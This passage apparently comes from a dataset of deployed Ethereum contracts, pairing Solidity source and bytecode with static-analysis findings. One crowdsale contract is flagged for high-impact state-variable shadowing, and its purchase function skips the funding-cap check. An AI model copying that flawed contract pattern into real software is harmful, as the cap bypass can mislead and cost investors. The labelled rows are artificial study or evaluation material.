93558482526005815282822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055600690529081206110f291612412565b604051829060009073ffffffffffffffffffffffffffffffffffffffff8416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b428410156111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f5045524d49545f444541444c494e455f455850495245440000000000000000006044820152606401610797565b60008581526005602052604081205473ffffffffffffffffffffffffffffffffffffffff16906111d3610cdd565b60008881526009602090815260409182902080546001810190915582517f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad8184015273ffffffffffffffffffffffffffffffffffffffff8d1681850152606081018c9052608081019190915260a08082018b90528351808303909101815260c08201909352825192909101919091207f190100000000000000000000000000000000000000000000000000000000000060e083015260e282019290925261010281019190915261012201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa158015611326573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166113ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f494e56414c49445f5045524d49545f5349474e415455524500000000000000006044820152606401610797565b8273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148061143a575073ffffffffffffffffffffffffffffffffffffffff80841660009081526008602090815260408083209385168352929052205460ff165b6114a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f494e56414c49445f5349474e45520000000000000000000000000000000000006044820152606401610797565b505060008681526007602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8b811691821790925591518993918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a450505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146115a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610797565b600180547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000831515908102919091179091556040517f1bce650c18d48dc571157e199d09844825d5cd56d07410dbc8f7ddc86966048090600090a250565b33600081815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60015474010000000000000000000000000000000000000000900460ff161561173a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f50415553454400000000000000000000000000000000000000000000000000006044820152606401610797565b600154339083907501000000000000000000000000000000000000000000900460ff16156118225773ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604090205460ff1680156117bc575073ffffffffffffffffffffffffffffffffffffffff811660009081526002602052604090205460ff165b611822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4e4f545f57484954454c495354454400000000000000000000000000000000006044820152606401610797565b60008381526005602052604090205473ffffffffffffffffffffffffffffffffffffffff1633146118af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610797565b33600081815260046020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01905573ffffffffffffffffffffffffffffffffffffffff8816808452818420805460010190558784526007835281842080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811690915560059093528184208054909316811790925551869391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a450505050565b428410156119e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f5045524d49545f444541444c494e455f455850495245440000000000000000006044820152606401610797565b60006119f2610cdd565b73ffffffffffffffffffffffffffffffffffffffff8881166000818152600a602090815260409182902080546001810190915582517fdaab21af31ece73a508939fedd476a5ee5129a5ed4bb091f3236ffb45394df628184015280840194909452938b166060840152608083019390935260a08083018a90528151808403909101815260c0830190915280519201919091207f190100000000000000000000000000000000000000000000000000000000000060e083015260e282019290925261010281019190915261012201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa158015611b48573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611bc357508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80611c00575073ffffffffffffffffffffffffffffffffffffffff80891660009081526008602090815260408083209385168352929052205460ff165b611c66576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f494e56414c49445f5045524d49545f5349474e415455524500000000000000006044820152606401610797565b505073ffffffffffffffffffffffffffffffffffffffff8681166000818152600860209081526040808320948a168084529482529182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600190811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050505050565b611d0d848484610921565b73ffffffffffffffffffffffffffffffffffffffff83163b15611eb75760008373ffffffffffffffffffffffffffffffffffffffff1663150b7a0233878686604051602401611d5f9493929190612966565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611dad91906129af565b600060405180830381855afa9150503d8060008114611de8576040519150601f19603f3d011682016040523d82523d6000602084013e611ded565b606091505b50915050600081806020019051810190611e0791906129cb565b90507f150b7a02000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000821614611eb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4e4f545f4552433732315f5245434549564552000000000000000000000000006044820152606401610797565b50505b50505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611f3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610797565b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000831515908102919091179091556040517f140eb9f8b591138e129e4caf389c92df4f0545b902523eee9e63153ecdb2026e90600090a250565b60066020526000908152604090208054611fcc906129e8565b80601f0160208091040260200160405190810160405280929190818152602001828054611ff8906129e8565b80156120455780601f1061201a57610100808354040283529160200191612045565b820191906000526020600020905b81548152906001019060200180831161202857829003601f168201915b505050505081565b60005473ffffffffffffffffffffffffffffffffffffffff1633146120ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610797565b73ffffffffffffffffffffffffffffffffffffffff821661214b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5a45524f5f4144445245535300000000000000000000000000000000000000006044820152606401610797565b80156121c257600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84169081178255604051909133917f5bb496b3f951b55d3a1d8e479725a4d25bdc7644fc355f0b71c540354820a1c59190a35050565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff841690811790915560405133907f87f5c8846f4c51400fa448cfb84edcec5cc0f333b6d20a5b903e050823dcb66790600090a35050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146122b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610797565b60008281526005602052604090205473ffffffffffffffffffffffffffffffffffffffff1615612341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f414c52454144595f4d494e5445440000000000000000000000000000000000006044820152606401610797565b60038054600190810190915573ffffffffffffffffffffffffffffffffffffffff8416600081815260046020908152604080832080549095019094558582526005815283822080547fffffffffffffffffffffffff000000000000000000000000000000000000000016909317909255600682529190912082516123c79284019061244f565b50604051829073ffffffffffffffffffffffffffffffffffffffff8516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4505050565b50805461241e906129e8565b6000825580601f1061242e575050565b601f01602090049060005260206000209081019061244c91906124d3565b50565b82805461245b906129e8565b90600052602060002090601f01602090048101928261247d57600085556124c3565b82601f1061249657805160ff19168380011785556124c3565b828001600101855582156124c3579182015b828111156124c35782518255916020019190600101906124a8565b506124cf9291506124d3565b5090565b5b808211156124cf57600081556001016124d4565b7fffffffff000000000000000000000000000000000000000000000000000000008116811461244c57600080fd5b60006020828403121561252857600080fd5b8135612533816124e8565b9392505050565b60005b8381101561255557818101518382015260200161253d565b83811115611eb75750506000910152565b6000815180845261257e81602086016020860161253a565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6020815260006125336020830184612566565b6000602082840312156125d557600080fd5b5035919050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461260057600080fd5b919050565b6000806040838503121561261857600080fd5b612621836125dc565b946020939093013593505050565b8035801515811461260057600080fd5b6000806040838503121561265257600080fd5b61265b836125dc565b91506126696020840161262f565b90509250929050565b60008060006060848603121561268757600080fd5b612690846125dc565b925061269e602085016125dc565b9150604084013590509250925092565b6000602082840312156126c057600080fd5b612533826125dc565b803560ff8116811461260057600080fd5b60008060008060008060c087890312156126f357600080fd5b6126fc876125dc565b95506020870135945060408701359350612718606088016126c9565b92506080870135915060a087013590509295509295509295565b60006020828403121561274457600080fd5b6125338261262f565b60008060008060008060c0878903121561276657600080fd5b61276f876125dc565b955061277d602088016125dc565b945060408701359350612718606088016126c9565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600067ffffffffffffffff808411156127dc576127dc612792565b604051601f85017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190828211818310171561282257612822612792565b8160405280935085815286868601111561283b57600080fd5b858560208301376000602087830101525050509392505050565b6000806000806080858703121561286b57600080fd5b612874856125dc565b9350612882602086016125dc565b925060408501359150606085013567ffffffffffffffff8111156128a557600080fd5b8501601f810187136128b657600080fd5b6128c5878235602084016127c1565b91505092959194509250565b6000806000606084860312156128e657600080fd5b6128ef846125dc565b925060208401359150604084013567ffffffffffffffff81111561291257600080fd5b8401601f8101861361292357600080fd5b612932868235602084016127c1565b9150509250925092565b6000806040838503121561294f57600080fd5b612958836125dc565b9150612669602084016125dc565b600073ffffffffffffffffffffffffffffffffffffffff8087168352808616602084015250836040830152608060608301526129a56080830184612566565b9695505050505050565b600082516129c181846020870161253a565b9190910192915050565b6000602082840312156129dd57600080fd5b8151612533816124e8565b600181811c908216806129fc57607f821691505b60208210811415612a36577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b5091905056fea2646970667358221220cde45d0c6ddeb87ffd0bdc909dad32645c81d9f77653d1b0e75ddad73c45fa1564736f6c63430008090033 | {"success": true, "error": null, "results": {}} | 1,460 |
0xdf1be199e4422f86b1539c9fe746bce1dd7d985a | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract BasicERC20 {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract ERC20Basic is BasicERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 _value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic _token, address _to, uint256 _value) internal {
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount,
uint256 now
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens,
now
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(_beneficiary, _weiAmount);
* require(weiRaised.add(_weiAmount) <= cap);
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title CappedCrowdsale
* @dev Crowdsale with a limit for total contributions.
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
/**
* @dev Constructor, takes maximum amount of wei accepted in the crowdsale.
* @param _cap Max amount of wei to be contributed
*/
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is CappedCrowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract AirbonCrowdsale is TimedCrowdsale,Ownable {
uint256 public constant DECIMALFACTOR = 10**uint256(18);
uint256 public availbleToken;
uint256 public soldToken;
uint256 public cap=2400 ether;// softcap is 2400 ether
uint256 public goal=10000 ether;// hardcap is 10000 ether
/**
* @dev AirbonCrowdsale is a base contract for managing a token crowdsale.
* AirbonCrowdsale have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
function AirbonCrowdsale(uint256 _starttime, uint256 _endTime, uint256 _rate, address _wallet,ERC20 _token)
TimedCrowdsale(_starttime,_endTime)Crowdsale(_rate, _wallet,_token)CappedCrowdsale(cap)
{
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable onlyWhileOpen {
// calculate token amount to be created
uint256 tokens = _getTokenAmount( msg.value);
weiRaised = weiRaised.add(msg.value);
token.safeTransferFrom(owner,_beneficiary, tokens);
emit TokenPurchase(msg.sender,_beneficiary, msg.value, tokens,now);
_forwardFunds();
soldToken=soldToken.add(tokens);
availbleToken=token.allowance(owner,this);
}
/**
* @dev Change crowdsale ClosingTime
* @param _endTime is End time in Seconds
*/
function changeEndtime(uint256 _endTime) public onlyOwner {
require(_endTime > 0);
closingTime = _endTime;
}
/** function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
* @dev Change Token rate per ETH
* @param _rate is set the current rate of AND Token
*/
function changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
/**
* @dev Checks whether the goal has been reached.
* @return Whether the goal was reached
*/
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
} | 0x6080604052600436106101115763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631515bc2b811461011c5780632c4e722e14610145578063355274ea1461016c57806340193883146101815780634042b66f146101965780634b6753bc146101ab5780634f935945146101c0578063521eb273146101d55780636769d1f91461020657806368a9de131461021b5780636f6eacee1461023357806374e7493b146102485780637d3d6522146102605780638da5cb5b14610275578063b3d91e411461028a578063b7a8807c1461029f578063d29db7e4146102b4578063ec8ac4d8146102d8578063f2fde38b146102ec578063fc0c546a1461030d575b61011a33610322565b005b34801561012857600080fd5b50610131610499565b604080519115158252519081900360200190f35b34801561015157600080fd5b5061015a6104a1565b60408051918252519081900360200190f35b34801561017857600080fd5b5061015a6104a7565b34801561018d57600080fd5b5061015a6104ad565b3480156101a257600080fd5b5061015a6104b3565b3480156101b757600080fd5b5061015a6104b9565b3480156101cc57600080fd5b506101316104bf565b3480156101e157600080fd5b506101ea6104ca565b60408051600160a060020a039092168252519081900360200190f35b34801561021257600080fd5b5061015a6104d9565b34801561022757600080fd5b5061011a6004356104df565b34801561023f57600080fd5b5061015a610508565b34801561025457600080fd5b5061011a60043561050e565b34801561026c57600080fd5b50610131610537565b34801561028157600080fd5b506101ea610542565b34801561029657600080fd5b5061015a610551565b3480156102ab57600080fd5b5061015a61055d565b3480156102c057600080fd5b5061011a600160a060020a0360043516602435610563565b61011a600160a060020a0360043516610322565b3480156102f857600080fd5b5061011a600160a060020a0360043516610571565b34801561031957600080fd5b506101ea610606565b6000600554421015801561033857506006544211155b151561034357600080fd5b61034c34610615565b600354909150610362903463ffffffff61063216565b60035560075460005461038991600160a060020a039182169116848463ffffffff61063f16565b604080513481526020810183905242818301529051600160a060020a0384169133917efe0e12b43090c1fc19a34aefa5cc138a4eeafc60ab800f855c730b3fb9480e9181900360600190a36103dc6106f0565b6009546103ef908263ffffffff61063216565b60095560008054600754604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201523060248201529051919092169263dd62ed3e92604480820193602093909283900390910190829087803b15801561046657600080fd5b505af115801561047a573d6000803e3d6000fd5b505050506040513d602081101561049057600080fd5b50516008555050565b600654421190565b60025481565b600a5481565b600b5481565b60035481565b60065481565b600454600354101590565b600154600160a060020a031681565b60095481565b600754600160a060020a031633146104f657600080fd5b6000811161050357600080fd5b600655565b60085481565b600754600160a060020a0316331461052557600080fd5b6000811161053257600080fd5b600255565b600b54600354101590565b600754600160a060020a031681565b670de0b6b3a764000081565b60055481565b61056d828261072c565b5050565b600754600160a060020a0316331461058857600080fd5b600160a060020a038116151561059d57600080fd5b600754604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031681565b600061062c6002548361074990919063ffffffff16565b92915050565b8181018281101561062c57fe5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301528481166024830152604482018490529151918616916323b872dd916064808201926020929091908290030181600087803b1580156106b357600080fd5b505af11580156106c7573d6000803e3d6000fd5b505050506040513d60208110156106dd57600080fd5b505115156106ea57600080fd5b50505050565b600154604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610729573d6000803e3d6000fd5b50565b60005461056d90600160a060020a0316838363ffffffff61077216565b600082151561075a5750600061062c565b5081810281838281151561076a57fe5b041461062c57fe5b82600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156107ee57600080fd5b505af1158015610802573d6000803e3d6000fd5b505050506040513d602081101561081857600080fd5b5051151561082557600080fd5b5050505600a165627a7a723058205003e95e9e18be762f9723ce2f53d349c7be46822a76bab16a42477a1b2507b50029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 1,461 |
0x8c7c095c9af40872484e9f9949e543706a3280ae | pragma solidity ^0.4.8 ;
contract POOL_EDIT_1 {
address owner ;
function POOL_EDIT_1 () public {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner );
_;
}
// 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_1 = " une première phrase " ;
function setPOOL_edit_1 ( string newPOOL_edit_1 ) public onlyOwner {
inPOOL_edit_1 = newPOOL_edit_1 ;
}
function getPOOL_edit_1 () public constant returns ( string ) {
return inPOOL_edit_1 ;
}
// 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_2 = " une première phrase " ;
function setPOOL_edit_2 ( string newPOOL_edit_2 ) public onlyOwner {
inPOOL_edit_2 = newPOOL_edit_2 ;
}
function getPOOL_edit_2 () public constant returns ( string ) {
return inPOOL_edit_2 ;
}
// 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_3 = " une première phrase " ;
function setPOOL_edit_3 ( string newPOOL_edit_3 ) public onlyOwner {
inPOOL_edit_3 = newPOOL_edit_3 ;
}
function getPOOL_edit_3 () public constant returns ( string ) {
return inPOOL_edit_3 ;
}
// 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_4 = " une première phrase " ;
function setPOOL_edit_4 ( string newPOOL_edit_4 ) public onlyOwner {
inPOOL_edit_4 = newPOOL_edit_4 ;
}
function getPOOL_edit_4 () public constant returns ( string ) {
return inPOOL_edit_4 ;
}
// 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_5 = " une première phrase " ;
function setPOOL_edit_5 ( string newPOOL_edit_5 ) public onlyOwner {
inPOOL_edit_5 = newPOOL_edit_5 ;
}
function getPOOL_edit_5 () public constant returns ( string ) {
return inPOOL_edit_5 ;
}
// 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_6 = " une première phrase " ;
function setPOOL_edit_6 ( string newPOOL_edit_6 ) public onlyOwner {
inPOOL_edit_6 = newPOOL_edit_6 ;
}
function getPOOL_edit_6 () public constant returns ( string ) {
return inPOOL_edit_6 ;
}
// 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_7 = " une première phrase " ;
function setPOOL_edit_7 ( string newPOOL_edit_7 ) public onlyOwner {
inPOOL_edit_7 = newPOOL_edit_7 ;
}
function getPOOL_edit_7 () public constant returns ( string ) {
return inPOOL_edit_7 ;
}
// 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_8 = " une première phrase " ;
function setPOOL_edit_8 ( string newPOOL_edit_8 ) public onlyOwner {
inPOOL_edit_8 = newPOOL_edit_8 ;
}
function getPOOL_edit_8 () public constant returns ( string ) {
return inPOOL_edit_8 ;
}
// 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_9 = " une première phrase " ;
function setPOOL_edit_9 ( string newPOOL_edit_9 ) public onlyOwner {
inPOOL_edit_9 = newPOOL_edit_9 ;
}
function getPOOL_edit_9 () public constant returns ( string ) {
return inPOOL_edit_9 ;
}
